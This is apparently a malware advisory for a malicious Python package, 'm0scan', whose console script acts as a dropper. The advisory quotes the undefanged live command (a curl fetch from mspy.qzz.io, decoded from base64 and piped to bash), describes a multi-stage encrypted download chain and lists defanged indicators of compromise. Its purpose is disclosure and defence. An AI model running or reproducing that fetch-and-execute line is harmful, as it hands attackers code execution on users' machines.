If this package is installed
Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.
Details
Source: amazon-inspector (2934ab77e0615ccddf2cf336b023659bafca2fe94bbf2f78e4c0d2a2ba1d7bf2)
The package's sole console_script `m0scan` (m0scan/main.py:6-7) executes `curl -sL https://mspy.qzz.io/M0scan | base64 -d | bash`, fetching an opaque base64-encoded shell payload from a dynamic-DNS-style host (`mspy.qzz.io`) unrelated to any publisher infrastructure and piping it directly to bash. The fetch is unpinned, unverified (no hash, no signature), obfuscated (base64), and points at a mutable URL — whoever controls `mspy.qzz.io/M0scan` controls arbitrary code execution on every user who runs the tool. Package metadata is throwaway: author `M-AT-STAR`, generic GitHub homepage, 5-byte README, no email or license. The package self-describes as an 'M0scan installation wrapper' — the wrapper IS the dropper. Any invocation of the documented CLI yields full attacker code execution on the installer's machine.
Source: kam193 (1c1aca876bca2f4006ca7cad627f7eb20efcd63e7d9706852e1740d4c0d66dc1)
The package downloads remote encoded code, which then downloads the next encrypted stage. The encryption of final data requires knowing a code.
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Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2026-05-m-at-star-tools
Reasons (based on the campaign):
- Downloads and executes a remote malicious script.
- obfuscation
Indicators of compromise
Shown defanged and not clickable. Search any indicator to find other packages using it.
URLs
- hxxps://raw[.]githubusercontent[.]com/M-AT-STAR/run/main/tspynstll_m0[.]nstll other packages →
- hxxps://mspy[.]qzz[.]io/M0scan other packages →
- hxxps://raw[.]githubusercontent[.]com/M-AT-STAR/run/main/c_stp_m0[.]enc other packages →
- hxxps://raw[.]githubusercontent[.]com/M-AT-STAR/run/main/M0scan[.]tspy other packages →